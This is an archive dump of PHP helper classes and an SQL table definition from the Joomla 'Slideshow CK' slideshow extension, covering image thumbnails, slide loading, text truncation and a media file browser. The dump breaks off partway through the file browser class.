com_slideshowck/sql/updates/2.0.2.sql000060400000000505152455305260013350 0ustar00CREATE TABLE IF NOT EXISTS `#__slideshowck_styles` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` text NOT NULL,
  `state` int(10) NOT NULL DEFAULT '1',
  `params` longtext NOT NULL,
  `layoutcss` text NOT NULL,
  `checked_out` varchar(10) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8;

com_slideshowck/sql/index.html000060400000000032152455305260012513 0ustar00<html><body></body></html>com_slideshowck/sql/uninstall.mysql.utf8.sql000060400000000001152455305260015275 0ustar00
com_slideshowck/helpers/index.html000060400000000054152455305260013362 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_slideshowck/helpers/helper.php000060400000045476152455305260013376 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

// No direct access
defined('_JEXEC') or die;

require_once JPATH_ADMINISTRATOR . '/components/com_slideshowck/helpers/defines.php';

use Slideshowck\CKInput;
use Slideshowck\CKFof;
use Slideshowck\CKText;

/**
 * Helper Class.
 */
class SlideshowckHelper {

	static $cssreplacements;

	/*
	 * Load the JS and CSS files needed to use CKBox
	 *
	 * Return void
	 */
	public static function loadCkbox() {
		$doc = \Joomla\CMS\Factory::getDocument();
		\Joomla\CMS\HTML\HTMLHelper::_('jquery.framework', true);
//		$doc->addScript(\Joomla\CMS\Uri\Uri::root(true) . '/media/jui/js/jquery.min.js');
		$doc->addStyleSheet(SLIDESHOWCK_MEDIA_URI . '/assets/ckbox.css');
		$doc->addScript(SLIDESHOWCK_MEDIA_URI . '/assets/ckbox.js');
	}

	/*
	 * Load the JS and CSS files needed to use CKBox
	 *
	 * Return void
	 */
//	public static function loadCKFramework() {
//		$doc = \Joomla\CMS\Factory::getDocument();
//		$doc->addScript(\Joomla\CMS\Uri\Uri::root(true) . '/media/jui/js/jquery.min.js');
//		$doc->addStyleSheet(SLIDESHOWCK_MEDIA_URI . '/assets/ckframework.css');
//	}

	/*
	 * Load the JS and CSS files needed to use CKBox
	 *
	 * Return void
	 */
	/*public static function loadInlineCKFramework() {
	?>
		<script src="<?php echo \Joomla\CMS\Uri\Uri::root(true) ?>/media/jui/js/jquery.min.js" type="text/javascript"></script>
		<link rel="stylesheet" href="<?php echo \Joomla\CMS\Uri\Uri::root(true) ?>/components/com_slideshowck/assets/font-awesome.min.css" type="text/css" />
		<link rel="stylesheet" href="<?php echo SLIDESHOWCK_MEDIA_URI ?>/assets/ckframework.css" type="text/css" />
	<?php
	}*/
	
	/**
	 * Convert a hexa decimal color code to its RGB equivalent
	 *
	 * @param string $hexStr (hexadecimal color value)
	 * @param boolean $returnAsString (if set true, returns the value separated by the separator character. Otherwise returns associative array)
	 * @param string $seperator (to separate RGB values. Applicable only if second parameter is true.)
	 * @return array or string (depending on second parameter. Returns False if invalid hex color value)
	 */
	static function hex2RGB($hexStr, $opacity) {
		$hexStr = preg_replace("/[^0-9A-Fa-f]/", '', $hexStr); // Gets a proper hex string
		$rgbArray = array();
		if (strlen($hexStr) == 6) { //If a proper hex code, convert using bitwise operation. No overhead... faster
			$colorVal = hexdec($hexStr);
			$rgbArray['red'] = 0xFF & ($colorVal >> 0x10);
			$rgbArray['green'] = 0xFF & ($colorVal >> 0x8);
			$rgbArray['blue'] = 0xFF & $colorVal;
		} elseif (strlen($hexStr) == 3) { //if shorthand notation, need some string manipulations
			$rgbArray['red'] = hexdec(str_repeat(substr($hexStr, 0, 1), 2));
			$rgbArray['green'] = hexdec(str_repeat(substr($hexStr, 1, 1), 2));
			$rgbArray['blue'] = hexdec(str_repeat(substr($hexStr, 2, 1), 2));
		} else {
			return false; //Invalid hex color code
		}
		$rgbacolor = "rgba(" . $rgbArray['red'] . "," . $rgbArray['green'] . "," . $rgbArray['blue'] . "," . ($opacity / 100) . ")";

		return $rgbacolor;
	}

	/**
	 * Test if there is already a unit, else add the px
	 *
	 * @param string $value
	 * @return string
	 */
	public static function testUnit($value) {
		if ((stristr($value, 'px')) OR (stristr($value, 'em')) OR (stristr($value, '%'))) {
			return $value;
		}

		if ($value == '') {
			$value = 0;
		}

		return $value . 'px';
	}

	/**
	 * Remove special character
	 */
	public static function cleanName($path) {
		return preg_replace('/[^a-z0-9]/i', '_', $path);
	}

	public static function formatPath($p) {
		return trim(str_replace("\\", "/", $p), "/");
	}

	/**
	 * Get a subtring with the max length setting.
	 *
	 * @param string $text;
	 * @param int $length limit characters showing;
	 * @param string $replacer;
	 * @return tring;
	 */
	public static function substring($text, $length = 100, $replacer = '...', $isStrips = true, $stringtags = '') {
	
		if($isStrips){
			$text = preg_replace('/\<p.*\>/Us','',$text);
			$text = str_replace('</p>','<br/>',$text);
			$text = strip_tags($text, $stringtags);
		}
		
		if(function_exists('mb_strlen')){
			if (mb_strlen($text) < $length)	return $text;
			$text = mb_substr($text, 0, $length);
		}else{
			if (strlen($text) < $length)	return $text;
			$text = substr($text, 0, $length);
		}
		
		return $text . $replacer;
	}

	/*
	* update the table
	*/
	/*public static function createTableOptions() {
		$sqlsrc = SLIDESHOWCK_PATH . '/sql/updates/2.4.0.sql';
		$query = file_get_contents($sqlsrc);
		$db = \Joomla\CMS\Factory::getDbo();
		$db->setQuery($query);
		if (!$db->execute()) {
			echo '<p class="alert alert-danger">Error during table options creation</p>';
		} else {
			echo '<p class="alert alert-success">Table options successfully created</p>';
		}
	}*/

	/**
	 * Get the name of the style
	 */
	public static function getStyleNameById($id) {
		if (! $id) return '';
		// Create a new query object.
		$db = \Joomla\CMS\Factory::getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select('a.name');
		$query->from($db->quoteName('#__slideshowck_styles') . ' AS a');
		$query->where('(a.state IN (0, 1))');
		$query->where('a.id = ' . (int)$id);

		// Reset the query using our newly populated query object.
		$db->setQuery($query);

		// Load the results as a list of stdClass objects (see later for more options on retrieving data).
		$results = $db->loadResult();

		return $results;
	}

	/**
	 * Create the list of all modules published as Object
	 *
	 * $file string the image path
	 * $x integer the new image width
	 * $y integer the new image height
	 *
	 * @return Boolean True on Success
	 */
	static function resizeImage($file, $x, $y = '', $thumbpath = 'th', $thumbsuffix = '_th') {

		if (!$file)
			return;

		$thumbext = explode(".", $file);
		$thumbext = end($thumbext);
		$thumbfile = str_replace(basename($file), $thumbpath . "/" . basename($file), $file);
		$thumbfile = str_replace("." . $thumbext, $thumbsuffix . "." . $thumbext, $thumbfile);
		
		$filetmp = JPATH_ROOT . '/' . $file;
		$filetmp = str_replace("%20", " ", $filetmp);
		if (! file_exists($filetmp))
			return $file;
		$size = getimagesize($filetmp);

		if ($size[0] > $size[1] || !$y) // paysage
		{
			$y = $x * $size[1] / $size[0];
		} else 
		{
			$x = $y * $size[0] / $size[1];
		}

		
		if ($size) {
			if (\Joomla\CMS\Filesystem\File::exists($thumbfile)) {
				return $thumbfile;
			}
			
			$thumbfolder = str_replace(basename($file), $thumbpath . "/", $filetmp);
			if (!\Joomla\CMS\Filesystem\Folder::exists($thumbfolder)) { 
				\Joomla\CMS\Filesystem\Folder::create($thumbfolder);
				\Joomla\CMS\Filesystem\File::copy(JPATH_ROOT . '/modules/mod_slideshowck/index.html', $thumbfolder . 'index.html' );
			}

			if ($size['mime'] == 'image/jpeg') {
				$img_big = imagecreatefromjpeg($filetmp); # On ouvre l'image d'origine
				$img_new = imagecreate($x, $y);
				# création de la miniature
				$img_mini = imagecreatetruecolor($x, $y) or $img_mini = imagecreate($x, $y);
				// copie de l'image, avec le redimensionnement.
				imagecopyresized($img_mini, $img_big, 0, 0, 0, 0, $x, $y, $size[0], $size[1]);

				imagejpeg($img_mini, JPATH_ROOT . '/' . $thumbfile);
			} elseif ($size['mime'] == 'image/png') {
				$img_big = imagecreatefrompng($filetmp); # On ouvre l'image d'origine
				$img_new = imagecreate($x, $y);
				# création de la miniature
				$img_mini = imagecreatetruecolor($x, $y) or $img_mini = imagecreate($x, $y);
				// copie de l'image, avec le redimensionnement.
				imagecopyresized($img_mini, $img_big, 0, 0, 0, 0, $x, $y, $size[0], $size[1]);

				imagepng($img_mini, JPATH_ROOT . '/' . $thumbfile);
			} elseif ($size['mime'] == 'image/gif') {
				$img_big = imagecreatefromgif($filetmp); # On ouvre l'image d'origine
				$img_new = imagecreate($x, $y);
				# création de la miniature
				$img_mini = imagecreatetruecolor($x, $y) or $img_mini = imagecreate($x, $y);
				// copie de l'image, avec le redimensionnement.
				imagecopyresized($img_mini, $img_big, 0, 0, 0, 0, $x, $y, $size[0], $size[1]);

				imagegif($img_mini, JPATH_ROOT . '/' . $thumbfile);
			}
			//echo 'Image redimensionnée !';
		}

		return $thumbfile;
	}

	/*
	 * Make empty slide object
	 */
	public static function initItem() {
		$item = new stdClass();
		$item->image = null;
		$item->link = null;
		$item->title = null;
		$item->text = null;
		$item->more = array();
		$item->alignment = null;
		$item->time = null;
		$item->target = 'default';
		$item->video = null;
		$item->texttype = null;
		$item->articleid = null;

		return $item;
	}

	/*
	 * Convert an old item to the new convention
	 */
	public static function legacyUpdateItem(&$item) {
		$newItem = self::initItem();
		foreach ($newItem as $key => $value) {
			if (!isset($item->$key)) $item->$key = $value;
		}
		$item->image = $item->imgname;
		$item->link = $item->imglink;
		$item->time = $item->imgtime;
		$item->thumb = $item->imgthumb;
		$item->title = $item->imgtitle;
		$item->text = strip_tags($item->imgcaption);
	}

	/*
	 * Convert an item to the old convention to render in a V1 layout
	 * To call manually in the layout file
	 */
	public static function legacyItemForV1Layout(&$item) {
		$newItem = self::initItem();
		foreach ($newItem as $key => $value) {
			if (!isset($item->$key)) $item->$key = $value;
		}
		$item->imgname = $item->image;
		$item->imglink = $item->link;
		$item->imgtime = $item->time;
		$item->imgthumb = $item->imgname;
//		$item->imgthumb = $item->thumb;
		$item->imgtitle = $item->title;
		$item->imgcaption = $item->text;

		$item->imgalignment = $item->alignment;
		$item->imgtime = $item->time;
		$item->imgtarget = $item->target;
		$item->imgvideo = $item->video;
		$item->article = null;
	}

	/**
	 * Set the correct video link
	 *
	 * $videolink string the video path
	 *
	 * @return string the new video path
	 */
	static function setVideolink($videolink) {
		// youtube
		if (stristr($videolink, 'youtu.be')) {
			$videolink = str_replace('youtu.be', 'www.youtube.com/embed', $videolink);
		} else if (stristr($videolink, 'www.youtube.com') AND !stristr($videolink, 'embed')) {
			$videolink = str_replace('youtube.com', 'youtube.com/embed', $videolink);
		}

		if (strpos($videolink, 'http') !== false) $videolink .= ( stristr($videolink, '?')) ? '&wmode=transparent' : '?wmode=transparent';

		return $videolink;
	}

	/**
	 * Set the correct video link
	 *
	 * $videolink string the video path
	 *
	 * @return string the new video path
	 */
	static function setImageUrl($url) {
		if (strpos($url, 'http') !== 0) {
			$url = \Joomla\CMS\Uri\Uri::root(true) . '/' . trim($url, '/');
		}

		return $url;
	}

	/**
	 * Truncates text blocks over the specified character limit and closes
	 * all open HTML tags. The method will optionally not truncate an individual
	 * word, it will find the first space that is within the limit and
	 * truncate at that point. This method is UTF-8 safe.
	 *
	 * @param   string   $text       The text to truncate.
	 * @param   integer  $length     The maximum length of the text.
	 * @param   boolean  $noSplit    Don't split a word if that is where the cutoff occurs (default: true).
	 * @param   boolean  $allowHtml  Allow HTML tags in the output, and close any open tags (default: true).
	 *
	 * @return  string   The truncated text.
	 *
	 * @since   11.1
	 */
	public static function truncate($text, $length = 0, $noSplit = true, $allowHtml = true) {
		if ($length == 0) return '';
		// Check if HTML tags are allowed.
		if (!$allowHtml) {
			// Deal with spacing issues in the input.
			$text = str_replace('>', '> ', $text);
			$text = str_replace(array('&nbsp;', '&#160;'), ' ', $text);
			$text = JString::trim(preg_replace('#\s+#mui', ' ', $text));

			// Strip the tags from the input and decode entities.
			$text = strip_tags($text);
			$text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');

			// Remove remaining extra spaces.
			$text = str_replace('&nbsp;', ' ', $text);
			$text = JString::trim(preg_replace('#\s+#mui', ' ', $text));
		}

		// Truncate the item text if it is too long.
		if ($length > 0 && JString::strlen($text) > $length) {
			// Find the first space within the allowed length.
			$tmp = JString::substr($text, 0, $length);

			if ($noSplit) {
				$offset = JString::strrpos($tmp, ' ');
				if (JString::strrpos($tmp, '<') > JString::strrpos($tmp, '>')) {
					$offset = JString::strrpos($tmp, '<');
				}
				$tmp = JString::substr($tmp, 0, $offset);

				// If we don't have 3 characters of room, go to the second space within the limit.
				if (JString::strlen($tmp) > $length - 3) {
					$tmp = JString::substr($tmp, 0, JString::strrpos($tmp, ' '));
				}
			}

			if ($allowHtml) {
				// Put all opened tags into an array
				preg_match_all("#<([a-z][a-z0-9]*)\b.*?(?!/)>#i", $tmp, $result);
				$openedTags = $result[1];
				$openedTags = array_diff($openedTags, array("img", "hr", "br"));
				$openedTags = array_values($openedTags);

				// Put all closed tags into an array
				preg_match_all("#</([a-z]+)>#iU", $tmp, $result);
				$closedTags = $result[1];

				$numOpened = count($openedTags);

				// All tags are closed
				if (count($closedTags) == $numOpened) {
					return $tmp . '...';
				}
				$tmp .= '...';
				$openedTags = array_reverse($openedTags);

				// Close tags
				for ($i = 0; $i < $numOpened; $i++) {
					if (!in_array($openedTags[$i], $closedTags)) {
						$tmp .= "</" . $openedTags[$i] . ">";
					} else {
						unset($closedTags[array_search($openedTags[$i], $closedTags)]);
					}
				}
			}

			$text = $tmp;
		}

		return $text;
	}

	static function getArticle($item) {
		$app = \Joomla\CMS\Factory::getApplication();
		if (version_compare(JVERSION, '4') >= 0) {
			$factory = $app->bootComponent('com_content')->getMVCFactory();

			// Get an instance of the generic articles model
			$articles = $factory->createModel('Articles', 'Site', ['ignore_request' => true]);
		} else {
			// load the content articles file
			$com_path = JPATH_SITE . '/components/com_content/';
			include_once $com_path . 'router.php';
			include_once $com_path . 'helpers/route.php';
			\Joomla\CMS\MVC\Model\BaseDatabaseModel::addIncludePath($com_path . '/models', 'ContentModel');

			// Get an instance of the generic articles model
			$articles = \Joomla\CMS\MVC\Model\BaseDatabaseModel::getInstance('Articles', 'ContentModel', array('ignore_request' => true));
		}
		// Access filter
		$access = !\Joomla\CMS\Component\ComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = \Joomla\CMS\Access\Access::getAuthorisedViewLevels(\Joomla\CMS\Factory::getUser()->get('id'));
		// Get an instance of the generic articles model
		$articles = \Joomla\CMS\MVC\Model\BaseDatabaseModel::getInstance('Articles', 'ContentModel', array('ignore_request' => true));
		// Set application parameters in model
		$app = \Joomla\CMS\Factory::getApplication();
//		$appParams = $app->getParams();
		$articles->setState('params', \Joomla\CMS\Component\ComponentHelper::getParams('com_content'));
//		$articles->setState('params', $appParams);
		$articles->setState('filter.published', 1);
//		$item->slidearticleid = isset($item->slidearticleid) ? $item->slidearticleid : $item->articleid;
		$articles->setState('filter.article_id', $item->slidearticleid);
		$items2 = $articles->getItems();
		$item->article = $items2[0];
		$item->text = $item->article->introtext;
		// $item->text = \Joomla\CMS\HTML\HTMLHelper::_('content.prepare', $item->text);
		$item->title = $item->article->title;
		// set the item link to the article depending on the user rights
		if ($access || in_array($item->article->access, $authorised)) {
			// We know that user has the privilege to view the article
			$item->slug = $item->article->id . ':' . $item->article->alias;
			$item->catslug = $item->article->catid ? $item->article->catid . ':' . $item->article->category_alias : $item->article->catid;
			if (version_compare(JVERSION, '4') >= 0) {
				$item->link = \Joomla\CMS\Router\Route::_(\Joomla\Component\Content\Site\Helper\RouteHelper::getArticleRoute($item->slug, $item->catslug));
			} else {
				$item->link = \Joomla\CMS\Router\Route::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catslug));
			}
		} else {
			$app = \Joomla\CMS\Factory::getApplication();
			$menu = $app->getMenu();
			$menuitems = $menu->getItems('link', 'index.php?option=com_users&view=login');
			if (isset($menuitems[0])) {
				$Itemid = $menuitems[0]->id;
			} elseif ($app->input->get('Itemid', 0, 'int') > 0) {
				$Itemid = $app->input->get('Itemid', 0, 'int');
			}
			$item->link = \Joomla\CMS\Router\Route::_('index.php?option=com_users&view=login&Itemid=' . $Itemid);
		}
		return $item;
	}

	/**
	 * List the replacement between the tags and the real final CSS rules
	 */
	public static function getCssReplacement() {
		if (! empty(self::$cssreplacements)) return self::$cssreplacements;

		self::$cssreplacements = Array(
			'[container]' => ''
			,'[slide]' => '.cameraSlide img'
			,'[caption]' => '.camera_caption > div'
			,'[title]' => '.camera_caption_title'
			,'[text]' => '.camera_caption_desc'
			,'[button]' => 'a.camera-button'
			,'[buttonhover]' => 'a.camera-button:hover'
//			,'[thumbs]' => '.camera_pag_ul li img'
			,'[paginationdotthumbs]' => '.camera_pag_ul li img'
		);

		return self::$cssreplacements;
	}

	/**
	 * Get the CSS of the style
	 * @id - the style ID
	 */
	public static function getStyleLayoutcss($id) {
		if (! $id) return '';

		// Create a new query object.
		$db = \Joomla\CMS\Factory::getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select('a.layoutcss');
		$query->from($db->quoteName('#__slideshowck_styles') . ' AS a');
		$query->where('(a.state IN (0, 1))');
		$query->where('a.id = ' . (int)$id);

		// Reset the query using our newly populated query object.
		$db->setQuery($query);

		// Load the results as a list of stdClass objects (see later for more options on retrieving data).
		$result = $db->loadResult();

		self::makeCssReplacement($result);

		return $result;
	}

	public static function makeCssReplacement(&$css) {
		$cssreplacements = self::getCssReplacement();
		foreach ($cssreplacements as $tag => $rep) {
			$css = str_replace($tag, $rep, $css);
		}
//		return $css;
	}

	public static function getProMessage() {
		$html = '<div class="ckinfo"><i class="fas fa-info"></i><a href="https://www.joomlack.fr/en/joomla-extensions/slideshow-ck" target="_blank">' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_ONLY_PRO') . '</a></div>';
	
		return $html;
	}

	public static function getProPreview($imgName) {
		$html = '<div class="ckpropreview">'
					. '<img src="' . SLIDESHOWCK_MEDIA_URL . '/images/proonly/' . $imgName . '" />'
					. '<a href="https://www.joomlack.fr/en/joomla-extensions/slideshow-ck" target="_blank">' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_ONLY_PRO') . '</a>'
				. '</div>';
	
		return $html;
	}
}
com_slideshowck/helpers/source/slidesmanager.php000060400000010053152455305260016214 0ustar00<?php
/**
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

use Joomla\CMS\Factory;
use Joomla\CMS\Date\Date;

// No direct access
defined('_JEXEC') or die;

require_once JPATH_ADMINISTRATOR . '/components/com_slideshowck/helpers/helper.php';

/**
 * Helper Class.
 */
class SlideshowckHelpersourceSlidesmanager {

	private static $params;

	/*
	 * Get the items from the source
	 */
	public static function getItems($params, $folder = null) {
		if (empty(self::$params)) {
			self:$params = $params;
		}

		// load the items from the module settings
		$items = json_decode(str_replace("|qq|", "\"", $params->get('slides')));
		foreach ($items as $i => $item) {
			if (!$item->imgname) {
				unset($items[$i]);
				continue;
			}

			// check if the slide is published
			if (isset($item->state) && $item->state == '0') {
				unset($items[$i]);
				continue;
			}

			// get current date with Timezone
			$config = \Joomla\CMS\Factory::getConfig();
			$offset = $config->get('offset'); // timezone
			$now = new \Joomla\CMS\Date\Date('now', $offset);

			// check the slide start date
			if (isset($item->startdate) && $item->startdate) {
				// if (date("d M Y") < $item->startdate) {
				if (strtotime($now) < strtotime($item->startdate)) {
					unset($items[$i]);
					continue;
				}
			}

			// check the slide end date
			if (isset($item->enddate) && $item->enddate) {
				// if (date("d M Y") > $item->enddate) {
				if (strtotime($now) > strtotime($item->enddate)) {
					unset($items[$i]);
					continue;
				}
			}

			if (stristr($item->imgname, "http")) {
				$item->imgthumb = $item->imgname;
			} else {
				// renomme le fichier
				$thumbext = explode(".", $item->imgname);
				$thumbext = end($thumbext);
				// crée la miniature
				if ($params->get('thumbnails', '1') == '1' && $params->get('autocreatethumbs','1')) {
					if ($params->get('autocreatethumbs','1'))
						$item->imgthumb = \Joomla\CMS\Uri\Uri::base(true) . '/' . SlideshowckHelper::resizeImage($item->imgname, $params->get('thumbnailwidth', '182'), $params->get('thumbnailheight', '187'));
				} else {
					$thumbfile = str_replace(basename($item->imgname), "th/" . basename($item->imgname), $item->imgname);
					$thumbfile = str_replace("." . $thumbext, "_th." . $thumbext, $thumbfile);
					$item->imgthumb = \Joomla\CMS\Uri\Uri::base(true) . '/' . $thumbfile;
				}
				$item->imgname = \Joomla\CMS\Uri\Uri::base(true) . '/' . $item->imgname;
			}

			// set the videolink
			if ($item->imgvideo)
				$item->imgvideo = SlideshowckHelper::setVideolink($item->imgvideo);

			// for B/C
			if (! isset($item->texttype)) {
				$item->texttype = (isset($item->slidearticleid) && $item->slidearticleid) ? 'article' : 'custom';
			}
			if ($item->texttype == 'article') {
				if (isset($item->slidearticleid) && $item->slidearticleid) {
					$item = SlideshowckHelper::getArticle($item);
				} else {
					$item->link = '';
					$item->title = '';
					$item->text = '';
				}
			} else {
				// manage the title and description - LEGACY
				if (stristr($item->imgcaption, "||")) {
					$splitcaption = explode("||", $item->imgcaption);
					$item->imgtitle = $splitcaption[0];
					$item->imgcaption = $splitcaption[1];
				}

				// route the url
				if (strcasecmp(substr($item->imglink, 0, 4), 'http') && (strpos($item->imglink, 'index.php?') !== false)) {
					$item->imglink = \Joomla\CMS\Router\Route::_($item->imglink, true, false);
				} else {
					$item->imglink = \Joomla\CMS\Router\Route::_($item->imglink);
				}

				if (! isset($item->imgtitle)) $item->imgtitle = '';

				// convert legacy to new standard
				$item->link = $item->imglink;
				$item->title = $item->imgtitle;
				$item->text = $item->imgcaption;
			}
			// convert legacy to new standard
			$item->image = $item->imgname;
			$item->time = $item->imgtime;
			$item->target = $item->imgtarget;
			$item->alignment = $item->imgalignment;
			$item->video = $item->imgvideo;
		}

		return $items;
	}
}
com_slideshowck/helpers/ckfile.php000060400000000224152455305260013332 0ustar00<?php
namespace Slideshowck;

defined('_JEXEC') or die;

jimport('joomla.filesystem.file');

class CKFile extends \Joomla\CMS\Filesystem\File {
	
}
com_slideshowck/helpers/defines.php000060400000004456152455305260013525 0ustar00<?php
/**
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

// No direct access
defined('_JEXEC') or die;

// set variables
define('SLIDESHOWCK_PLATFORM', 'joomla');
define('SLIDESHOWCK_PATH', JPATH_SITE . '/administrator/components/com_slideshowck');
define('SLIDESHOWCK_ADMIN_PATH', SLIDESHOWCK_PATH);
define('SLIDESHOWCK_FRONT_PATH', JPATH_SITE . '/components/com_slideshowck');
define('SLIDESHOWCK_PROJECTS_PATH', JPATH_SITE . '/administrator/components/com_slideshowck/projects');
define('SLIDESHOWCK_ADMIN_URL', \Joomla\CMS\Uri\Uri::root(true) . '/administrator/index.php?option=com_slideshowck');
define('SLIDESHOWCK_URL', \Joomla\CMS\Uri\Uri::base(true) . '/index.php?option=com_slideshowck');
define('SLIDESHOWCK_ADMIN_GENERAL_URL', \Joomla\CMS\Uri\Uri::root(true) . '/administrator/index.php?option=com_slideshowck&view=templates');
define('SLIDESHOWCK_MEDIA_URI', \Joomla\CMS\Uri\Uri::root(true) . '/media/com_slideshowck');
define('SLIDESHOWCK_MEDIA_URL', SLIDESHOWCK_MEDIA_URI);
define('SLIDESHOWCK_MEDIA_PATH', JPATH_ROOT . '/media/com_slideshowck');
define('SLIDESHOWCK_PLUGIN_URL', SLIDESHOWCK_MEDIA_URI);
define('SLIDESHOWCK_TEMPLATES_PATH', JPATH_SITE . '/templates');
define('SLIDESHOWCK_SITE_ROOT', JPATH_ROOT);
define('SLIDESHOWCK_URI', \Joomla\CMS\Uri\Uri::root(true) . '/administrator/components/com_slideshowck');
define('SLIDESHOWCK_URI_ROOT', \Joomla\CMS\Uri\Uri::root(true));
define('SLIDESHOWCK_URI_BASE', \Joomla\CMS\Uri\Uri::base(true));
define('SLIDESHOWCK_PLUGINS_PATH', JPATH_SITE . '/plugins/slideshowck');
define('SLIDESHOWCK_VERSION', simplexml_load_file(SLIDESHOWCK_PATH . '/slideshowck.xml')->version);

// include the classes
require_once SLIDESHOWCK_PATH . '/helpers/ckinput.php';
require_once SLIDESHOWCK_PATH . '/helpers/cktext.php';
require_once SLIDESHOWCK_PATH . '/helpers/ckfile.php';
require_once SLIDESHOWCK_PATH . '/helpers/ckfolder.php';
require_once SLIDESHOWCK_PATH . '/helpers/ckfof.php';
//require_once SLIDESHOWCK_PATH . '/helpers/helper.php';
//require_once SLIDESHOWCK_PATH . '/helpers/ckcontroller.php';
//require_once SLIDESHOWCK_PATH . '/helpers/ckmodel.php';
//require_once SLIDESHOWCK_PATH . '/helpers/ckview.php';com_slideshowck/helpers/cktext.php000060400000000156152455305260013403 0ustar00<?php
namespace Slideshowck;

defined('_JEXEC') or die;

class CKText extends \Joomla\CMS\Language\Text {
	
}
com_slideshowck/helpers/ckuri.php000060400000000147152455305260013216 0ustar00<?php
namespace Slideshowck;

defined('_JEXEC') or die;

class CKUri extends \Joomla\CMS\Uri\Uri {
	
}
com_slideshowck/helpers/ckbrowse.php000060400000017747152455305260013736 0ustar00<?php
/**
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

use Slideshowck\CKPath;
use Slideshowck\CKFolder;
use Slideshowck\CKFile;

defined('_JEXEC') or die;

jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');

class CKBrowse {

	static $isRestrictedUser = false;

	public static function getFileTypes($type) {
		$input = \Joomla\CMS\Factory::getApplication()->input;
		$type = $input->get('type', $type, 'string');

		switch ($type) {
			case 'video' :
				$filetypes = array('.mp4', '.ogv', '.webm', '.MP4', '.OGV', '.WEBM');
				break;
			case 'audio' :
				$filetypes = array('.mp3', '.ogg', '.MP3', '.OGG');
				break;
			case 'image' :
			default :
				$filetypes = array('.jpg', '.jpeg', '.png', '.gif', '.tiff', '.JPG', '.JPEG', '.PNG', '.GIF', '.TIFF', '.ico', '.webp', '.WEBP');
				break;
		}

		return $filetypes;
	}

	/*
	 * Get a list of folders and files 
	 */
	public static function getItemsList($type = 'image') {
		$input = \Joomla\CMS\Factory::getApplication()->input;

		$type = $input->get('type', $type, 'string');

		switch ($type) {
			case 'video' :
				$filetypes = array('.mp4', '.ogv', '.webm', '.MP4', '.OGV', '.WEBM');
				break;
			case 'audio' :
				$filetypes = array('.mp3', '.ogg', '.MP3', '.OGG');
				break;
			case 'image' :
			default :
				$filetypes = array('.jpg', '.jpeg', '.png', '.gif', '.tiff', '.JPG', '.JPEG', '.PNG', '.GIF', '.TIFF', '.ico', '.webp', '.WEBP');
				break;
		}

		$folder = $input->get('folder', '', 'string') ? '/' . trim($input->get('folder', '', 'string'), '/') : '/' . trim(\Joomla\CMS\Component\ComponentHelper::getParams('com_slideshowck')->get('imagespath', 'images/slideshowck'), '/');

		// makes replacement if specific user management is set
		if (stristr($folder, '$userid')) {
			self::$isRestrictedUser = true;
			$user = \Joomla\CMS\Factory::getUser();
			$folder = str_replace('$userid', 'user_' . $user->id, $folder);
			if (! file_exists(JPATH_SITE . '/' . $folder)) {
				\Joomla\CMS\Filesystem\Folder::create(JPATH_SITE . '/' . $folder);
			}
		}

		// no folder filtering 
		if (\Joomla\CMS\Component\ComponentHelper::getParams('com_slideshowck')->get('imagespathexclusive', '0') == '0') {
		$folder = $input->get('folder', 'images', 'string');
		}

		$tree = new stdClass();

		// list the files in the root folder
		$fName = self::createFolderObj(JPATH_SITE . '/' . $folder, $tree, 1);
		$tree->$fName->files = self::getImagesInFolder(JPATH_SITE . '/' . $folder, implode('|', $filetypes));

		// look for all folder and files
		self::getSubfolder(JPATH_SITE . '/' . $folder, $tree, implode('|', $filetypes), 2);
		$tree = self::prepareList($tree);

		return $tree;
	}

	/* 
	 * List the subfolders and files according to the filter
	 */
	private static function getSubfolder($folder, &$tree, $filter, $level) {
		$folders = \Joomla\CMS\Filesystem\Folder::folders($folder, '.', $recurse = false, $fullpath = true);
		natcasesort($folders);

		if (! count($folders)) return;

		foreach ($folders as $f) {
			$fName = self::createFolderObj($f, $tree, $level);

			// list all authorized files from the folder
			// self::getImagesInFolder($f, $tree, $fName, $filter, $level);

			// recursive loop
			self::getSubfolder($f, $tree, $filter, $level+1);
		}
		return;
	}

	private static function createFolderObj($f, &$tree, $level) {
		$fName = \Joomla\CMS\Filesystem\File::makeSafe(str_replace(JPATH_SITE, '', $f));
		$tree->$fName = new stdClass();
		$name = explode('/', $f);
		$name = end($name);
		$tree->$fName->name = ($level == 1 && self::$isRestrictedUser == true) ? 'images' : $name;
		$tree->$fName->path = $f;
		$tree->$fName->level = $level;
		$tree->$fName->files = false;

		return $fName;
	}

	/* 
	 * List the subfolders and files according to the filter
	 */
	public static function getImagesInFolder($f, $filter = '.') {

			// list all authorized files from the folder
			$files = \Joomla\CMS\Filesystem\Folder::files($f, $filter, $recurse = false, $fullpath = false);
			if (is_array($files)) natcasesort($files);

			return $files;
		}

	/* 
	 * Set level diff and check for depth
	 */
	private static function prepareList($items) {
		if (! $items) return $items;

		$lastitem = 0;
		foreach ($items as $i => $item)
		{
			self::prepareItem($item);

			if ($item->level != 0) {
				if (isset($items->$lastitem))
				{
					$items->$lastitem->deeper     = ($item->level > $items->$lastitem->level);
					$items->$lastitem->shallower  = ($item->level < $items->$lastitem->level);
